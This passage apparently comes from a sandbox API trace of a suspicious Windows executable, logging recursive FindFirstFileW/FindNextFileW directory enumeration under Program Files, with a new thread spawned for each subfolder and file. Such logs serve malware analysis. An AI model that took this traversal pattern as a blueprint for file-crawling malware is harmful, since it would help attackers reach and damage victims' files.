ftCreationTime.dwLowDateTime=0x9e11f510, ftCreationTime.dwHighDateTime=0x1d583f9, ftLastAccessTime.dwLowDateTime=0x4b2fff30, ftLastAccessTime.dwHighDateTime=0x1d58193, ftLastWriteTime.dwLowDateTime=0x4b2fff30, ftLastWriteTime.dwHighDateTime=0x1d58193, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="constructed_deeply.exe", cAlternateFileName="CONSTR~1.EXE")) returned 1 [0045.715] wcscmp (_String1="constructed_deeply.exe", _String2=".") returned 1 [0045.715] wcscmp (_String1="constructed_deeply.exe", _String2="..") returned 1 [0045.715] FindNextFileW (in: hFindFile=0x409b28, lpFindFileData=0x445968 | out: lpFindFileData=0x445968*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9e11f510, ftCreationTime.dwHighDateTime=0x1d583f9, ftLastAccessTime.dwLowDateTime=0x4b2fff30, ftLastAccessTime.dwHighDateTime=0x1d58193, ftLastWriteTime.dwLowDateTime=0x4b2fff30, ftLastWriteTime.dwHighDateTime=0x1d58193, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="constructed_deeply.exe", cAlternateFileName="CONSTR~1.EXE")) returned 0 [0045.715] FindClose (in: hFindFile=0x409b28 | out: hFindFile=0x409b28) returned 1 [0045.715] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x445968) returned 1 [0045.715] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4187d0) returned 1 [0045.715] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x420d28) returned 1 Thread: id = 84 os_tid = 0xb50 [0045.716] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x54) returned 0x445968 [0045.716] wcscpy (in: _Dest=0x445968, _Source="C:\\Program Files (x86)\\Microsoft Office" | out: _Dest="C:\\Program Files (x86)\\Microsoft Office") returned="C:\\Program Files (x86)\\Microsoft Office" [0045.716] wcscat (in: _Dest=0x445968, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Microsoft Office\\") returned="C:\\Program Files (x86)\\Microsoft Office\\" [0045.716] wcscat (in: _Dest=0x445968, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Microsoft Office\\*") returned="C:\\Program Files (x86)\\Microsoft Office\\*" [0045.716] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x448d38 [0045.716] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Microsoft Office\\*", lpFindFileData=0x448d38 | out: lpFindFileData=0x448d38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xef0a44f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x87d3ff80, ftLastAccessTime.dwHighDateTime=0x1d5945e, ftLastWriteTime.dwLowDateTime=0x87d3ff80, ftLastWriteTime.dwHighDateTime=0x1d5945e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x409b28 [0045.716] wcscmp (_String1=".", _String2=".") returned 0 [0045.716] FindNextFileW (in: hFindFile=0x409b28, lpFindFileData=0x448d38 | out: lpFindFileData=0x448d38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xef0a44f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x87d3ff80, ftLastAccessTime.dwHighDateTime=0x1d5945e, ftLastWriteTime.dwLowDateTime=0x87d3ff80, ftLastWriteTime.dwHighDateTime=0x1d5945e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0045.716] wcscmp (_String1="..", _String2=".") returned 1 [0045.716] wcscmp (_String1="..", _String2="..") returned 0 [0045.717] FindNextFileW (in: hFindFile=0x409b28, lpFindFileData=0x448d38 | out: lpFindFileData=0x448d38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc2bc5b0, ftCreationTime.dwHighDateTime=0x1d563ea, ftLastAccessTime.dwLowDateTime=0x1a89faa0, ftLastAccessTime.dwHighDateTime=0x1d56363, ftLastWriteTime.dwLowDateTime=0x1a89faa0, ftLastWriteTime.dwHighDateTime=0x1d56363, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="lime_gives_tub.exe", cAlternateFileName="LIME_G~1.EXE")) returned 1 [0045.717] wcscmp (_String1="lime_gives_tub.exe", _String2=".") returned 1 [0045.717] wcscmp (_String1="lime_gives_tub.exe", _String2="..") returned 1 [0045.717] FindNextFileW (in: hFindFile=0x409b28, lpFindFileData=0x448d38 | out: lpFindFileData=0x448d38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xef0a44f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xd68b1180, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd68b1180, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office14", cAlternateFileName="")) returned 1 [0045.717] wcscmp (_String1="Office14", _String2=".") returned 1 [0045.717] wcscmp (_String1="Office14", _String2="..") returned 1 [0045.717] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x62) returned 0x420d28 [0045.717] wcscpy (in: _Dest=0x420d28, _Source="C:\\Program Files (x86)\\Microsoft Office" | out: _Dest="C:\\Program Files (x86)\\Microsoft Office") returned="C:\\Program Files (x86)\\Microsoft Office" [0045.717] wcscat (in: _Dest=0x420d28, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Microsoft Office\\") returned="C:\\Program Files (x86)\\Microsoft Office\\" [0045.717] wcscat (in: _Dest=0x420d28, _Source="Office14" | out: _Dest="C:\\Program Files (x86)\\Microsoft Office\\Office14") returned="C:\\Program Files (x86)\\Microsoft Office\\Office14" [0045.717] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x420d28, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2cc [0045.718] FindNextFileW (in: hFindFile=0x409b28, lpFindFileData=0x448d38 | out: lpFindFileData=0x448d38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xef0a44f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xd68b1180, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd68b1180, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office14", cAlternateFileName="")) returned 0 [0045.718] FindClose (in: hFindFile=0x409b28 | out: hFindFile=0x409b28) returned 1 [0045.718] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x448d38) returned 1 [0045.718] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x445968) returned 1 [0045.718] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x413d88) returned 1 Thread: id = 85 os_tid = 0xb54 [0045.719] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x66) returned 0x420e08 [0045.719] wcscpy (in: _Dest=0x420e08, _Source="C:\\Program Files (x86)\\Microsoft Visual Studio 8" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8" [0045.719] wcscat (in: _Dest=0x420e08, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\" [0045.719] wcscat (in: _Dest=0x420e08, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\*") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\*" [0045.719] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x445968 [0045.719] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\*", lpFindFileData=0x445968 | out: lpFindFileData=0x445968*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10f11a30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1120b5b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1120b5b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x409b28 [0045.720] wcscmp (_String1=".", _String2=".") returned 0 [0045.720] FindNextFileW (in: hFindFile=0x409b28, lpFindFileData=0x445968 | out: lpFindFileData=0x445968*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10f11a30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1120b5b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1120b5b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0045.720] wcscmp (_String1="..", _String2=".") returned 1 [0045.720] wcscmp (_String1="..", _String2="..") returned 0 [0045.720] FindNextFileW (in: hFindFile=0x409b28, lpFindFileData=0x445968 | out: lpFindFileData=0x445968*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10f37b90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e7acd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e7acd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Common7", cAlternateFileName="")) returned 1 [0045.720] wcscmp (_String1="Common7", _String2=".") returned 1 [0045.720] wcscmp (_String1="Common7", _String2="..") returned 1 [0045.720] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x72) returned 0x3ffe18 [0045.720] wcscpy (in: _Dest=0x3ffe18, _Source="C:\\Program Files (x86)\\Microsoft Visual Studio 8" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8" [0045.720] wcscat (in: _Dest=0x3ffe18, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\" [0045.720] wcscat (in: _Dest=0x3ffe18, _Source="Common7" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7" [0045.720] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x3ffe18, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2d0 [0045.721] FindNextFileW (in: hFindFile=0x409b28, lpFindFileData=0x445968 | out: lpFindFileData=0x445968*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10f11a30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x10f11a30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x10f11a30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SDK", cAlternateFileName="")) returned 1 [0045.721] wcscmp (_String1="SDK", _String2=".") returned 1 [0045.721] wcscmp (_String1="SDK", _String2="..") returned 1 [0045.721] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x6a) returned 0x4187d0 [0045.721] wcscpy (in: _Dest=0x4187d0, _Source="C:\\Program Files (x86)\\Microsoft Visual Studio 8" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8" [0045.721] wcscat (in: _Dest=0x4187d0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\" [0045.721] wcscat (in: _Dest=0x4187d0, _Source="SDK" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\SDK") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\SDK" [0045.721] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x4187d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2d4 [0045.722] FindNextFileW (in: hFindFile=0x409b28, lpFindFileData=0x445968 | out: lpFindFileData=0x445968*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1120b5b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1120b5b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1120b5b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTA", cAlternateFileName="")) returned 1 [0045.722] wcscmp (_String1="VSTA", _String2=".") returned 1 [0045.722] wcscmp (_String1="VSTA", _String2="..") returned 1 [0045.722] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x6c) returned 0x418938 [0045.722] wcscpy (in: _Dest=0x418938, _Source="C:\\Program Files (x86)\\Microsoft Visual Studio 8" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8" [0045.722] wcscat (in: _Dest=0x418938, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\" [0045.722] wcscat (in: _Dest=0x418938, _Source="VSTA" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\VSTA") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\VSTA" [0045.722] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x418938, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2d8 [0045.723] FindNextFileW (in: hFindFile=0x409b28, lpFindFileData=0x445968 | out: lpFindFileData=0x445968*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1120b5b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1120b5b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1120b5b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTA", cAlternateFileName="")) returned 0 [0045.723] FindClose (in: hFindFile=0x409b28 | out: hFindFile=0x409b28) returned 1 [0045.723] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x445968) returned 1 [0045.723] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x420e08) returned 1 [0045.723] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x420d98) returned 1 Thread: id = 86 os_tid = 0xb58 [0045.729] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x4e) returned 0x413d88 [0045.729] wcscpy (in: _Dest=0x413d88, _Source="C:\\Program Files (x86)\\Microsoft.NET" | out: _Dest="C:\\Program Files (x86)\\Microsoft.NET") returned="C:\\Program Files (x86)\\Microsoft.NET" [0045.729] wcscat (in: _Dest=0x413d88, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Microsoft.NET\\") returned="C:\\Program Files (x86)\\Microsoft.NET\\" [0045.729] wcscat (in: _Dest=0x413d88, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Microsoft.NET\\*") returned="C:\\Program Files (x86)\\Microsoft.NET\\*" [0045.729] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x445968 [0045.730] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Microsoft.NET\\*", lpFindFileData=0x445968 | out: lpFindFileData=0x445968*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1f1bbe30, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0x50e54b70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e54b70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x409b28 [0045.731] wcscmp (_String1=".", _String2=".") returned 0 [0045.731] FindNextFileW (in: hFindFile=0x409b28, lpFindFileData=0x445968 | out: lpFindFileData=0x445968*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1f1bbe30, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0x50e54b70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e54b70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0045.731] wcscmp (_String1="..", _String2=".") returned 1 [0045.731] wcscmp (_String1="..", _String2="..") returned 0 [0045.731] FindNextFileW (in: hFindFile=0x409b28, lpFindFileData=0x445968 | out: lpFindFileData=0x445968*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5abe1b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5abe1b90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Primary Interop Assemblies", cAlternateFileName="PRIMAR~1")) returned 1 [0045.731] wcscmp (_String1="Primary Interop Assemblies", _String2=".") returned 1 [0045.731] wcscmp (_String1="Primary Interop Assemblies", _String2="..") returned 1 [0045.731] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x80) returned 0x446550 [0045.731] wcscpy (in: _Dest=0x446550, _Source="C:\\Program Files (x86)\\Microsoft.NET" | out: _Dest="C:\\Program Files (x86)\\Microsoft.NET") returned="C:\\Program Files (x86)\\Microsoft.NET" [0045.731] wcscat (in: _Dest=0x446550, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Microsoft.NET\\") returned="C:\\Program Files (x86)\\Microsoft.NET\\" [0045.731] wcscat (in: _Dest=0x446550, _Source="Primary Interop Assemblies" | out: _Dest="C:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies") returned="C:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies" [0045.731] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x446550, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2dc [0045.732] FindNextFileW (in: hFindFile=0x409b28, lpFindFileData=0x445968 | out: lpFindFileData=0x445968*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8a491400, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x9ea84660, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x9ea84660, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RedistList", cAlternateFileName="REDIST~1")) returned 1 [0045.732] wcscmp (_String1="RedistList", _String2=".") returned 1 [0045.732] wcscmp (_String1="RedistList", _String2="..") returned 1 [0045.732] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x60) returned 0x449f30 [0045.732] wcscpy (in: _Dest=0x449f30, _Source="C:\\Program Files (x86)\\Microsoft.NET" | out: _Dest="C:\\Program Files (x86)\\Microsoft.NET") returned="C:\\Program Files (x86)\\Microsoft.NET" [0045.732] wcscat (in: _Dest=0x449f30, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Microsoft.NET\\") returned="C:\\Program Files (x86)\\Microsoft.NET\\" [0045.732] wcscat (in: _Dest=0x449f30, _Source="RedistList" | out: _Dest="C:\\Program Files (x86)\\Microsoft.NET\\RedistList") returned="C:\\Program Files (x86)\\Microsoft.NET\\RedistList" [0045.732] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x449f30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2e0 [0045.733] FindNextFileW (in: hFindFile=0x409b28, lpFindFileData=0x445968 | out: lpFindFileData=0x445968*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8a491400, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x9ea84660, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x9ea84660, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RedistList", cAlternateFileName="REDIST~1")) returned 0 [0045.733] FindClose (in: hFindFile=0x409b28 | out: hFindFile=0x409b28) returned 1 [0045.735] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x445968) returned 1 [0045.735] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x413d88) returned 1 [0045.735] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x413de0) returned 1 Thread: id = 87 os_tid = 0xb5c [0045.741] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x42) returned 0x444c30 [0045.741] wcscpy (in: _Dest=0x444c30, _Source="C:\\Program Files (x86)\\MSBuild" | out: _Dest="C:\\Program Files (x86)\\MSBuild") returned="C:\\Program Files (x86)\\MSBuild" [0045.741] wcscat (in: _Dest=0x444c30, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\MSBuild\\") returned="C:\\Program Files (x86)\\MSBuild\\" [0045.741] wcscat (in: _Dest=0x444c30, _Source="*" | out: _Dest="C:\\Program Files (x86)\\MSBuild\\*") returned="C:\\Program Files (x86)\\MSBuild\\*" [0045.741] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x445968 [0045.741] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\MSBuild\\*", lpFindFileData=0x445968 | out: lpFindFileData=0x445968*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x553ced90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x553ced90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x409b28 [0045.741] wcscmp (_String1=".", _String2=".") returned 0 [0045.741] FindNextFileW (in: hFindFile=0x409b28, lpFindFileData=0x445968 | out: lpFindFileData=0x445968*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x553ced90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x553ced90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0045.741] wcscmp (_String1="..", _String2=".") returned 1 [0045.741] wcscmp (_String1="..", _String2="..") returned 0 [0045.741] FindNextFileW (in: hFindFile=0x409b28, lpFindFileData=0x445968 | out: lpFindFileData=0x445968*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80105472, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80105472, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 1 [0045.741] wcscmp (_String1="Microsoft", _String2=".") returned 1 [0045.741] wcscmp (_String1="Microsoft", _String2="..") returned 1 [0045.741] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x52) returned 0x449fb0 [0045.741] wcscpy (in: _Dest=0x449fb0, _Source="C:\\Program Files (x86)\\MSBuild" | out: _Dest="C:\\Program Files (x86)\\MSBuild") returned="C:\\Program Files (x86)\\MSBuild" [0045.741] wcscat (in: _Dest=0x449fb0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\MSBuild\\") returned="C:\\Program Files (x86)\\MSBuild\\" [0045.741] wcscat (in: _Dest=0x449fb0, _Source="Microsoft" | out: _Dest="C:\\Program Files (x86)\\MSBuild\\Microsoft") returned="C:\\Program Files (x86)\\MSBuild\\Microsoft" [0045.742] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x449fb0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2e4 [0045.743] FindNextFileW (in: hFindFile=0x409b28, lpFindFileData=0x445968 | out: lpFindFileData=0x445968*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4a8de300, ftCreationTime.dwHighDateTime=0x1cacf26, ftLastAccessTime.dwLowDateTime=0x553ced90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4a8de300, ftLastWriteTime.dwHighDateTime=0x1cacf26, nFileSizeHigh=0x0, nFileSizeLow=0x2fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.InfoPath.targets", cAlternateFileName="MICROS~1.TAR")) returned 1 [0045.743] wcscmp (_String1="Microsoft.Office.InfoPath.targets", _String2=".") returned 1 [0045.743] wcscmp (_String1="Microsoft.Office.InfoPath.targets", _String2="..") returned 1 [0045.743] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x82) returned 0x416540 [0045.743] wcscpy (in: _Dest=0x416540, _Source="C:\\Program Files (x86)\\MSBuild" | out: _Dest="C:\\Program Files (x86)\\MSBuild") returned="C:\\Program Files (x86)\\MSBuild" [0045.743] wcscat (in: _Dest=0x416540, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\MSBuild\\") returned="C:\\Program Files (x86)\\MSBuild\\" [0045.743] wcscat (in: _Dest=0x416540, _Source="Microsoft.Office.InfoPath.targets" | out: _Dest="C:\\Program Files (x86)\\MSBuild\\Microsoft.Office.InfoPath.targets") returned="C:\\Program Files (x86)\\MSBuild\\Microsoft.Office.InfoPath.targets" [0045.743] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x416540, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2e8 [0045.744] FindNextFileW (in: hFindFile=0x409b28, lpFindFileData=0x445968 | out: lpFindFileData=0x445968*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4a8de300, ftCreationTime.dwHighDateTime=0x1cacf26, ftLastAccessTime.dwLowDateTime=0x553ced90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4a8de300, ftLastWriteTime.dwHighDateTime=0x1cacf26, nFileSizeHigh=0x0, nFileSizeLow=0x2fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.InfoPath.targets", cAlternateFileName="MICROS~1.TAR")) returned 0 [0045.744] FindClose (in: hFindFile=0x409b28 | out: hFindFile=0x409b28) returned 1 [0045.744] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x445968) returned 1 [0045.744] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x444c30) returned 1 [0045.744] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x402570) returned 1 Thread: id = 88 os_tid = 0xb60 [0045.745] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x5c) returned 0x445968 [0045.745] wcscpy (in: _Dest=0x445968, _Source="C:\\Program Files (x86)\\Reference Assemblies" | out: _Dest="C:\\Program Files (x86)\\Reference Assemblies") returned="C:\\Program Files 